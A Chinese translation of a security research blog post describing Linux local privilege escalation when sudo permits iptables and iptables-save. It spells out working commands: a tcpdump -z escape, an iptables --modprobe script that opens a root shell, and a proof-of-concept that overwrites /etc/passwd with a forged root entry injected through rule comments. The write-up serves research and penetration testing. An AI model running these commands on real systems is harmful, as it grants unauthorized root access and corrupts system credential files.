【翻译】Shielder - A Journey From codesudo iptablescode To Local Privilege Escalation
简要总结
在 Linux 机器上,低权限用户可以获得 root
权限,如果:
-
他们可以使用 sudo
执行iptables
和iptables-save
,因为他们可以在iptables
规则的注释中注入一个伪造的/etc/passwd
条目,然后滥用iptables-save
来覆盖合法的/etc/passwd
文件。 -
他们可以使用 sudo
执行iptables
,并且底层系统缺少iptables
加载的某个内核模块。在这种情况下,他们可以使用--modprobe
参数运行任意命令。
简介
如果你曾经玩过 boot2root CTF(比如 Hack The Box)、做过渗透测试,或者只是违法入侵随机机器 (不,不要这样做),你很可能会发现自己在 Linux 机器上获得了一个低权限 shell - www-data
,我说的就是你。
现在,虽然获得 shell 很棒,我们都应该感恩它的降临,但低权限用户通常对系统的控制权有限。前方的道路很明确:我们需要将权限提升到 root
。
在权限提升的道路上,黑客有很多技巧可以使用;其中之一就是使用 sudo
。
superuser do...substitute user do...就叫我 sudo 吧
正如读者可能已经很清楚的那样,sudo
命令可以用来以另一个用户的权限运行命令 - 通常是 root
。
好吧,但这有什么意义呢?如果你已经可以
sudo <command>
,权限提升不就完成了吗!
嗯,是的,但实际上,不是。事实上,有两种情况 (至少,现在能想到两种) 我们无法简单地利用 sudo
运行任意命令:
-
运行 sudo
需要用户的密码,即使我们有 shell,我们也不知道密码。这种情况很常见,因为初始访问系统通常是通过漏洞利用而不是常规身份验证。 -
我们可能知道 sudo
的密码,但用户可以用sudo
运行的命令是受限的。
在第一种情况下,只有一种方法可以利用 sudo
进行权限提升,那就是 NOPASSWD
命令。这些是用户可以使用 sudo
运行的命令,无需密码提示。引用 man sudoers
:
NOPASSWD 和 PASSWD
默认情况下,sudo 要求用户在运行命令前进行身份验证。这种行为可以通过 NOPASSWD 标签修改。与 Runas_Spec 一样,NOPASSWD 标签为 Cmnd_Spec_List 中跟随的命令设置默认值。相反,PASSWD 标签可以用来反转这种情况。例如:
ray rushmore = NOPASSWD: /bin/kill, /bin/ls, /usr/bin/lprm 将允许用户 ray 在 rushmore 机器上以 root 身份运行 /bin/kill、/bin/ls 和 /usr/bin/lprm,而无需验证身份。
第二种情况有点不同:在这种情况下,即使我们知道密码,也只有有限的一部分命令 (可能还包括参数) 可以用 sudo
运行。同样,你可以通过查看 man sudoers
、询问 ChatGPT 或通过实验破坏你的系统来了解其工作原理。
在这两种情况下,都有一个快速的方法来检查为你的用户启用了哪些"规则",那就是在你的 shell 上运行 sudo -l
,这将帮助回答重要的问题:我能使用 SUDO 吗?
$ sudo run-privesc
现在,回到权限提升的话题。坏消息是,当 sudo
受限时,我们无法运行任意命令,因此需要一些额外的要素来获得完整的权限提升。怎么做呢?这就是好消息:我们可以利用允许命令的副作用。事实上,Linux 工具通常支持大量的标志和选项来自定义其流程。通过创造性地使用和链接这些选项,即使是一个简单的文本编辑器也可以用作获取任意执行的跳板!
对于一个简单的用例,让我们考虑众所周知的 tcpdump
命令,用于监听、过滤和显示系统中传输的网络数据包。管理员经常会授予低权限用户在机器上转储流量的能力以进行调试,所以当运行 sudo -l
时看到这样的条目是很常见的:
(ALL) NOPASSWD: /usr/bin/tcpdump
Little do they know about the power of UNIX utilities! In fact, tcpdump
automagically supports log rotation, alongside a convenient -z
flag to supply a postrotate-command
that is executed after every rotation. Therefore, it is possible to leverage sudo
coupled with tcpdump
to execute arbitrary commands as root by running the following sequence of commands:
COMMAND='id' # just replace 'id'with your evil command
TF=$(mktemp)
echo "$COMMAND" > $TF
chmod +x $TF
tcpdump -ln -i lo -w /dev/null-W 1-G 1-z $TF
GTFOBins 的好心人维护着这些神奇技巧的精选列表 (包括刚才展示的关于 tcpdump
的技巧),所以请将它加入书签,并确保在你的 Linux 权限提升探索中查阅它!
起点 🚦
最近,在一次渗透测试中,我们正在寻找一种在基于 Linux 的设备上提升权限的方法。我们拥有的是一个权限非常低的用户 shell,以及使用 sudo
运行某些命令的能力。其中包括每个网络工程师都信赖的两个伙伴:iptables
和 iptables-save
。
我们理所当然地认为 GTFOBins 中肯定有这两个工具的条目...这促使我们再次更进一步™。
回忆往事
2017 年,我们与都灵理工大学、JEToP 和 KPMG 合作组织了一场线下 CTF 比赛。
这场 CTF 基于一系列 boot2root 靶机,典型的入口点是一个基于 Web 的漏洞,随后是本地权限提升。我们创建的其中一个权限提升场景正是与 iptables
相关。
获取靶机 root 权限所需的技术已在CTF writeup中记录,并被用于获取 PAX 支付设备的 root 权限。
通过 Modeprobe 获取 Root
iptables
有一个 --modprobe
参数,我们可以从其 man
手册页中看到其用途:
--modprobe=command
When adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc).
听起来这是一个执行任意命令的有趣方法,不是吗?
通过检查 iptables
源代码,我们可以看到如果指定了 --modprobe
标志,那么会调用 int xtables_load_ko(const char *modprobe, bool quiet)
函数,其第一个参数是用户指定的 modprobe 命令。
作为第一步,xtables_load_ko
函数会检查所需的模块是否已经加载,如果没有加载,它会调用 int xtables_insmod(const char *modname, const char *modprobe, bool quiet)
函数,其第二个参数是用户指定的 modprobe 命令。
最后,xtables_insmod
函数使用 execv
系统调用来运行我们在 --modprobe
参数中指定的命令:
int xtables_insmod(constchar *modname, constchar *modprobe, bool quiet)
{
char *buf = NULL;
char *argv[4];
int status;
/* If they don't explicitly set it, read out of kernel */
if (!modprobe) {
buf = get_modprobe();
if (!buf)
return-1;
modprobe = buf;
}
/*
* Need to flush the buffer, or the child may output it again
* when switching the program thru execv.
*/
fflush(stdout);
switch (vfork()) {
case0:
argv[0] = (char *)modprobe;
argv[1] = (char *)modname;
if (quiet) {
argv[2] = "-q";
argv[3] = NULL;
} else {
argv[2] = NULL;
argv[3] = NULL;
}
execv(argv[0], argv);
/* not usually reached */
exit(1);
case-1:
free(buf);
return-1;
default: /* parent */
wait(&status);
}
free(buf);
if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
return0;
return-1;
}
总的来说,如果我们能以 root
身份运行 iptables
,那么我们就可以滥用它来执行任意系统命令,并通过以下脚本获得一个交互式的 root
shell:
#!/bin/bash
echo -e "/bin/bash -i" > run-me
chmod +x run-me
sudo iptables -L -t nat --modprobe=./run-me
EOF?
虽然这种技术非常强大,但它有一个重要的前提条件:iptables
尝试访问的内核模块不应该被加载。
(不) 幸的是,在大多数现代 Linux 发行版中,这些模块都已经加载了,这使得这种攻击方式难以实施。尽管如此,正如 Giulio 所展示的那样,这种技术在嵌入式设备上仍然非常有效。
那么我们的目标呢?它不太可能加载了所有的内核模块,所以这种技术无法应用。是时候寻找一个新的方法了 👀
フュージョン
是时候来一场元神合体之舞了!
实验环境
在深入研究权限提升步骤之前,让我们先搭建一个小型实验环境。
要测试这个,你可以在一台全新的 Ubuntu 24.04 LTS 机器上执行以下操作:
-
通过 apt-get
安装iptables
软件包。 -
在 /etc/sudoers
文件中添加以下行:
userALL=(ALL) NOPASSWD: /usr/bin/iptables
userALL=(ALL) NOPASSWD: /usr/bin/iptables-save
-
在同一个文件中,注释掉以下行:
%sudo ALL=(ALL:ALL) ALL
正如预期的那样,运行 sudo -l
将得到以下响应:
user@ubuntu:~$ sudo -l
MatchingDefaults entries for user on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User user may run the following commands on ubuntu:
(ALL) NOPASSWD: /usr/bin/iptables
(ALL) NOPASSWD: /usr/bin/iptables-save
因此,运行 sudo iptables
或 sudo iptables-save
都可以在不需要认证的情况下执行命令。
在下一节中,我们将看到攻击者如何在这个系统中将其权限提升到 root
。
邪恶的权限提升
本节将演示如何将 iptables
和 iptables-save
命令的核心功能和附加功能,再加上一些 Linux 的特性串联在一起,从而实现任意代码执行。
剧透一下,这个过程可以归纳为以下三个步骤:
-
利用 iptables
提供的注释功能,在规则中附加包含换行符的任意注释。 -
利用 iptables-save
将加载的规则内容 (包括注释负载) 转储到敏感文件中。 -
利用步骤 1 和步骤 2 来覆盖 /etc/passwd
文件,写入攻击者控制的root
条目,并设置已知密码。
在接下来的章节中,我们将详细介绍这些步骤。
让我们先来看一个添加防火墙规则的简单 iptables
命令:
sudo iptables -AINPUT -i lo -j ACCEPT
这条规则的作用是在输入链中追加一条规则,用于接受所有输入接口为本地回环的入站数据包。我们可以立即通过运行 sudo iptables -L
来验证这条规则的效果。正如预期的那样,这个命令的输出包含了我们刚刚加载的 ACCEPT 规则。
通过查看 iptables
支持的有趣标志,我们发现了这个:
comment
允许你为任何规则添加注释 (最多 256 个字符)。–comment comment 示例:iptables -A INPUT -s 192.168.0.0/16 -m comment –comment "一个私有 IP 地址段"
让我们通过稍微修改之前的规则来测试一下:
sudo iptables -AINPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"
再次列出规则,我们可以看到注释的效果:
Chain INPUT (policy ACCEPT)
target prot opt source destination
ACCEPT all -- anywhere anywhere
ACCEPT all -- anywhere anywhere /* Allow packets to localhost */
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
iptables
还提供了一种简单的方法来转储所有已加载的规则,只需运行 iptables -S
命令:
-PINPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-AINPUT -i lo -j ACCEPT
-AINPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT
我们能在多大程度上控制这个输出?让我们通过插入一个换行符来做个简单测试:
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment$'Allow packets to localhostnThis rule rocks!'
注意
通过使用 $' 引号,我们可以指示 bash 将 n 字符替换为换行符!
现在,让我们再次转储已加载的规则来检查换行符是否被保留:
$ sudo iptables -S
-P INPUTACCEPT
-P FORWARDACCEPT
-P OUTPUTACCEPT
-A INPUT -i lo -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost
This rule rocks!" -j ACCEPT
这确实很有趣 - 我们已经确认 iptables
会在注释中保留换行符,这意味着我们可以在 iptables
规则转储的输出中控制多行任意内容。
...你能猜到这个特性如何被利用吗?
步骤 2: 通过 iptables-save 实现任意文件覆写
在开始执行命令之前,让我们先 RTFM(阅读手册):
iptables-save 和 ip6tables-save 用于将 IP 或 IPv6 表的内容以易于解析的格式转储到标准输出 (STDOUT) 或指定的文件中。
如果这个手册页是正确的 (很可能是),只需运行不指定任何文件的 iptables-save
,规则就会被转储到标准输出:
$ sudo iptables-save
# Generated by iptables-save v1.8.10 (nf_tables) on Tue Aug 13 19:50:55 2024
*filter
:INPUT ACCEPT [936:2477095]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT
-A INPUT -i lo -m comment --comment "Allow packets to localhost
This rule rocks!" -j ACCEPT
COMMIT
# Completed on Tue Aug 13 19:50:55 2024
看来 iptables-save
也保留了我们注入的换行符。既然我们知道了这一点,我们可以通过指定文件名并提供 -f
参数来测试其功能。输出显示我们正走在正确的道路上:
这个截图给了我们两个重要信息:
-
我们可以控制 iptables-save
写入文件的任意行。 -
由于这是以 sudo
运行的,生成的文件归root
所有。
我们可以把这个武器指向哪里呢?让我们继续看下一节!
步骤 3:创建 Root 用户
回顾:通过在 iptables
中利用包含 n
的任意注释,并运行 iptables-save
,我们可以以 root
身份写入任意文件,并且可以部分控制其内容 - 是的,只是部分控制,因为 iptables-save
会在我们注入的注释前后输出一些无法控制的数据。
这如何能派上用场呢?实际上,有一种方法可以将其转化为一个很好的权限提升漏洞,这要归功于著名的 /etc/passwd
文件。事实上,这个文件包含了每个可以登录系统的用户的条目,其中包括密码哈希和用户的 UID 等元数据。你能猜到这要怎么利用吗?
没错,我们要在 iptables
规则中写入一个完全有效的 passwd root
条目,然后通过 iptables-save
覆盖 /etc/passwd
文件。由于注入的行还将包含用户的密码哈希,一旦覆盖完成,我们应该可以简单地运行 su root
并输入注入的密码。
此时,我们只有一个疑问:其他行(非有效条目)会不会把系统搞坏?显然,只有一种方法可以找到答案。
概念验证
复现这个权限提升漏洞的步骤很简单:
-
通过运行 openssl passwd <password>
以正确格式加密新的root
密码 -
获取 /etc/passwd
中的root
条目并复制到某处,将加密密码的x
值替换为步骤 1 中生成的值 -
在新的 iptables
规则注释中注入伪造的root
条目
-
通过运行 sudo iptables-save -f /etc/passwd
覆盖/etc/passwd
-
验证现在可以使用步骤 1 中选择的密码 su root
局限性和可能的改进
这种技术的主要局限性在于其较低的可能性:事实上,要执行权限提升,用户必须同时被授予 sudo
权限来执行 iptables
和 iptables-save
命令;虽然这在实际环境中确实会发生,但如果我们能让这种情况更有可能发生就更好了。这是可能的:iptables-save
实际上是 iptables
套件的一部分,因为后者支持基于 argv[0]
的别名机制来从完整套件中选择要运行的命令。因此,如果可以强制 iptables
充当 iptables-save
,那么就不再需要 iptables-save
命令了。
此外,虽然在这种情况下覆盖 /etc/passwd
已经足够了,但你的想象力才是极限:Linux 系统中可能还有其他有趣的工具可以使用!主要来说,一个"好的"覆盖目标需要满足以下要求:
-
必须按换行符分割"条目"。 -
必须忽略无效的垃圾行。
原文始发于微信公众号(securitainment):Shielder - 从 codesudo iptablescode 到本地权限提升的旅程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论